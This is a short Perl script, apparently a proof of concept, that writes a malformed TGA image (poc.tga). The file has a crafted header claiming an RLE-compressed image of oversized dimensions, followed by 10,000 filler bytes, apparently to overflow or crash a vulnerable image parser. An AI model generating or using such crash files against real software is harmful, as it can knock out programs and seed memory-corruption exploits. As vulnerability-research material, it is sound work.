#!/usr/bin/perl -w
$tga_id = "tga poc example" ;
$tga_header = "\xf" .
"\x00" .
"\xa" ;
$tga_cms_spec = "\x00\x00" .
"\x00\x00" .
"\x00" ;
$tga_image_spec = "\x00\x00" .
"\x00\x00" .
"\x00\xa0" .
"\x80\x00" .
"\x10" .
"\x1" ;
$tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ;
$tga = $tga_file_header . "a" x 10000 ;
open FILE, ">poc.tga" or die("Can't open poc.tga\n") ;
binmode(FILE) ;
print FILE $tga ;
close FILE ;